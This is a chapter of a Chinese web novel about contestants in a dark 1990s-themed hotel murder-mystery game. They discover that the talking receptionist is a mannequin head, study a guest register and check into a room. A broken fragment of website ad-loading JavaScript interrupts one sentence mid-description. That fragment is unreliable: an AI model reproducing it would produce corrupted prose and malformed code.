在游戏即将开始前的最后十秒,伴随着冰冷的倒计时,童无垠察觉自己心跳微微加快,耳朵里能清晰地听到从胸腔中传来的“咚咚”声。 推门进去前,她最后和另外两扇门的人进行了眼神交流。 一个念头犹如闪电般在脑海中骤然闪过:三组分队行动,难道就真是完全互不干涉地进行游戏吗? 是真的各自为战,还是说……在看似独立的行动背后,可能隐藏着某些不为人知的联系? 那个「X」又代表了什么? 身后的门缓缓合上,发出一声清脆的“咔哒”声,就此隔绝了来自外面庭院的光线。 视野再次变为一片漆黑,只留下无尽的黑暗笼罩着四周。 他们,已身处旅馆之中,进来的门也锁死,无法离开。 童无垠搀扶住不能视物的莎露,而文自宇站在最前面,没敢动弹——他睁着眼,却也和看不见没分别。 黑暗使人不安、压抑,文自宇有些哆嗦:“怎么办,什么都看不到,我不敢往前走了……” 话音刚落,右侧方突然亮起一盏油灯。 油灯火光微弱,摇曳着仿佛随时都会熄灭,但在黑暗中却宛如救命稻草。 靠着这缕暗淡的光,童无垠得以看清周围:他们正站在安居天鹅旅馆内,身侧右手边是旅馆的前台。 油灯就摆在前台桌面上,边上是一个深绿色的老式拨号座机、一本薄薄的入住人登记册,以及…… 一张隐隐约约的惨白人脸。 “欢迎光临——” 它说:“欢迎各位贵客,入住安居天鹅旅馆。” 22. 安居天鹅旅馆(二) 场面有点惊悚。 四下漆黑一片,一点豆大的昏黄灯火,一张刷白人脸,还有那张人脸上紧抿着、纹丝未动的嘴唇。 没看错,“欢迎光临”这声儿响起时,前台这人分明连嘴巴都未曾张开过…… 那又是如何说出话来的呢? 他们几人所处之地确为现实世界,这一点毫无疑问。 总不能仅仅只是进了一道门,便斗转星移、世界规则更改、撞见真鬼了? 不能够。 理智回笼,童无垠自觉有必要敬畏世间存在的一切未知可能性。 然而,在追梦人的游戏场中,应该还不至于会出现超越现实的存在—— 他要真有这本事,也就没必要让他们佩戴接驳环、用毒针威慑他们、连庭院都要罩个严实,生怕他们这些个嘉宾反扑。 一切都应该有其合理的解释。 文自宇显然也发现了前台那人说话不动嘴的事儿,心里发毛,脚下微动,暗戳戳地朝两位队友靠近。 待近到不能再近,再近就要缩人家女生怀里去了,他才停下,声音颤颤巍巍地对着童无垠耳语: “现在怎么办,叫我们入住呢,要……回答吗?” 问完才想起童无垠这会儿不能开口说话,没法回应他。 另外一边,莎露正满头问号。 她蒙着眼看不到旅馆内的环境,只察觉到文自宇莫名其妙地离自己格外地近,近到甚至都能够清晰地感受到他身上的体温。这让她不由一阵膈应,心中暗自吐槽文自宇这究竟是要闹哪样。 总不能是人家游戏NPC开口说句话,就给他吓到了吧? 玩游戏,重要的就是代入故事背景,有NPC垫剧情也实属正常,况且人家也只是说了两句“欢迎光临”这种既正面又不痛不痒的通用欢迎词。 按照一般玩游戏的套路来,正常回复,假装是来入住的旅客不就行了?有什么难的。 不得不说,看不见有时候也并非全无益处,至少眼不见为净:免疫一切视觉系掉San攻击。 莎露用胳膊肘顶开文自宇,寻着印象中“游戏NPC”声音传来的方向,扭头朗声嘱咐: “你好,我们住宿,帮忙安排下。” “……”惨白人脸依旧面皮僵硬,嘴皮子紧闭,闻言通过不知哪个发声器官,极为礼貌地回复道:“好的,请问贵客们,几位入住呢?” 莎露:“三位。”她皱眉,“这也要问,看不出来吗?” 竟然敢怼NPC,不愧是莎露。 疑似没料到莎露会这么刺头,惨白人脸哽住片刻,好一会儿后才又出声,语带歉意:“贵客切勿误会,今日正赶上「揭羽宴」时隔多年再次举办,不少客人月前就已将客房提前预订了。” “目前也只一楼,还余下一间双人客房,可贵客们又有三位,这……该怎么分配呢?” 莎露眉头紧皱。 “客满”的说法听上去像是游戏设定,难道必须得有一个人无法入住,要单独行动?而且入住客房又代表什么呢,不入住又如何。 她拿不定主意。 童无垠拉住莎露的手腕,轻轻捏了捏。 莎露会意,问她:“你有想法了?怎么说,让谁不住客房?” 童无垠食指抵住另一只手的手心,比了个暂停的手势,又使眼色示意文自宇将她的意图转达给莎露。 文自宇愣了下,很快反应过来:“那个,NL比了个暂停手势。”他尽职地将自己看到的都描述出来,至于对不对,就全靠个人理解了,“她好像有什么发现,叫我们不急着回答前台。” 下一秒,在他惊恐的眼神中,童无垠果断地拎起摆放在台面的油灯,昏黄灯光在她手中微微摇曳,直直地朝着那张面无表情的惨白人脸靠去。 她想要进一步看清此人的真面目,以验证心中的猜测。 “我去!”文自宇被骇了一大跳,身子后倾,双手松垮地垂在身侧。 好险克制住了抬手的冲动,没有违背“不许使用双手”的诅咒。 拉开小段距离后,他第一时间回头关注人脸那头的动向,心怦怦直跳。 这么粗暴的行为,真的不会激怒游戏NPC吗?人家要是攻击他们怎么办? 不过以上担忧都落了空。 什么也没发生。 准确来说,是除了借着油灯,将惨白人脸那光滑无暇、一丝毛孔也无的塑料皮肤照的分毫毕现以外,什么都没发生。 文自宇回正身体,站直,觉得之前惊恐万分的自己有点好笑:“原来是个假人头。” 这会儿光源在侧,能看得一清二楚: 所谓的前台NPC,不过是一颗塑料材质的假模型人头。 除了脑袋一颗,还顺带有脖子、肩膀和上半截胸,再往下便是一个整齐的切面,让它能被稳稳当当地摆在台面上。 这也解释了为什么它说话不用张嘴—— 童无垠在人头背面、脊椎骨的位置,发现了一个小小的扬声器。 莎露不明所以:“什么假人头?你们在说啥?” 趁着文自宇向莎露解释的功夫,童无垠提着油灯找了一圈,有些在意地拿过前台上那本入住人登记册。 薄薄一本,封面呈现出陈旧的色泽,是暗褐色的硬质皮革制成。 翻开一看,里头按照日期分区,用黑色钢笔字书写得密密麻麻。 童无垠直接翻到有字的最后一页,顶头日期是「1990年10月25日」。 游戏里背景故事发生在1990年,这倒是和追梦人一开始说的对上号了;这本册子看标题,用途是做入住登记,譬如预订一类的应当不会往里面记,那最新的记录就是当日的。 因此今日大概率就是10月25日了。 在这最新一页,共有六行记录,但最后两行被晕开的大片墨渍涂盖,已无从分辨具体内容。 尚且能看清的前几行,记录如下: 【喙·一】二人,续住一日 【羽·二】一人,续住两日 【颈·一】三人,今日入住 【翅·一】二人,续住一日 冷不丁地,假人头突然出声:“三位贵客,请问要怎么分配入住呢?” 唉哟,差点忘了这人头虽假,能说话却是真的——也不知是不是真人在实时配音。 文自宇看向童无垠。 她竖起三根手指,比了“三”,又用食指画了个圈,圈住他们三人。 “嗯?”文自宇试探着解读:“我们三个……一起住?” 正解。 童无垠朝他竖起大拇指,假人头也同时回应:“好的,这就为各位办理入住。” 文自宇不可置信地长大了嘴。 离谱。这么着就搞定了?假人头甚至连多一句都不问。 既然双人间可以住三个人,那它一开始,为什么要故作为难地问他们如何分配,假人头它的问题本身不就是在暗示“三人不适合住双人间”吗? “咔哒。” 前台柜子弹出一个机关匣子,一把钥匙静静地躺在里面。 钥匙的主体部分由金属打造而成,闪烁着冷硬的光泽。而其尾端,则雕刻着一个天鹅的鹅掌图案,纹路细腻而清晰,每一道线条都流畅自然——从侧面看去,鹅掌图案略微凸起, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仿若浮雕,十分有立体感。 假人头:“这是各位的客房钥匙,客房位于一楼尽头,还烦请贵客自便。” 稍顷,两排燃烧着蓝色火焰的烛台毫无征兆地出现在黑暗之中,仿佛是刻意在为他们领路似的,先是近处的几盏依次亮起,紧接着,远处的烛台也一盏接着一盏地被点亮。 连成一线的火光,形成一条由诡异蓝光铺就的通道,由近及远地延伸向旅馆的深处。 烛火照亮了前路,也让他们看清旅馆的格局。 从此处向内深入,是一条两人展臂宽的走廊。客房全都集中分布在右手边,一扇扇紧闭的房门,粗略一数刚好六间;左手边,则是一整片由繁复绚烂的彩色玻璃拼凑而成的装饰墙。 定睛细看,便能发现在左侧那堪称艺术品的玻璃墙上,有一对黑色的把手,而把手正上方,伫立着一座栩栩如生的纯白天鹅石膏像——它的翅膀微微张开,仿佛一个眨眼,就会真的振翅高飞,消失在远方。 假人头语气骄傲地介绍:“贵客们可瞧见那片‘十二色琉璃墙’了?那是我们安居天鹅旅馆引以为傲的特色,其后边相连的空间,便是宴客厅。” “对了,贵客们可也是为了「揭羽宴」而来?您们来得赶巧,稍后不久「揭羽宴」就会在宴客厅举行。” “宴会30分钟后正式开始,还请注意着些时间,莫要错过了。” …… 彩色玻璃墙那对黑色的把手,是宴客厅大门的把手。 莎露摸索着上手拉了拉,拉不动,门被牢牢锁死了。看来在那什么「揭羽宴」开始前,这扇门后的空间是无法进入的。 她讪讪道:“行,只能晚点再来了。追梦人还真搞得跟游戏似的,剧情未到之前,强行限制玩家行动是吧。” 一行三人向着走廊的尽头缓步前行,文自宇走在最前方,为队伍开路,童无垠则垫后,将无法视物的莎露护在队伍中间。 走廊并不长,很快到达尽头。 文自宇停住脚步,“咦”了一声:“这儿有扇铁栅栏门,后边好像是个楼梯。” 他把脸凑近铁门,小心翼翼地穿过栅栏的缝隙,微眯双眼,试图看清后方的景象:“楼梯很长,看样子是通向二楼的。” 莎露闻言毫不犹豫,直接越过他,伸手向铁门探去。 她胆子着实大得惊人,明明暂时失去视觉,却依旧猛的一批——就像她曾说过的那样,这辈子就没怕过啥。 手触碰到铁门后,用力地拉了拉,可惜这扇铁门也是个上了锁的,怎么也拉不动。 莎露气笑了:“看看,我说什么来着,又是一个限制行动的空间。不过这种地方,后期剧情肯定会涉及到,说不定还很重要……” 旅馆一层的公共区域,就这么走完了。 没什么有用的发现。 一路走来,莎露与文自宇二人心中都增添了许多疑惑不解的点,例如: 童无垠怎么知道双人间可以住三人? 接下来要做什么,参加「揭羽宴」吗? 揭羽宴又是做什么的,为何有人会提前数月订房只为参加揭羽宴? 还有最困惑的一点,他们游戏目标,不是要推理还原凶杀案真相吗…… 那凶杀案在哪呢??! 若是在外边,童无垠指定有思路能同他们分享,大家都看出来了,她极其聪慧。 然而,碍于她当下无法说话的境况,即便询问也断然得不到任何回复,心头困惑便如同烈火,烧得他俩肺腑发痒。 俩人都盘算着,一旦进入客房,必须第一时间去找来纸和笔给童无垠。 好让她能与二人交流。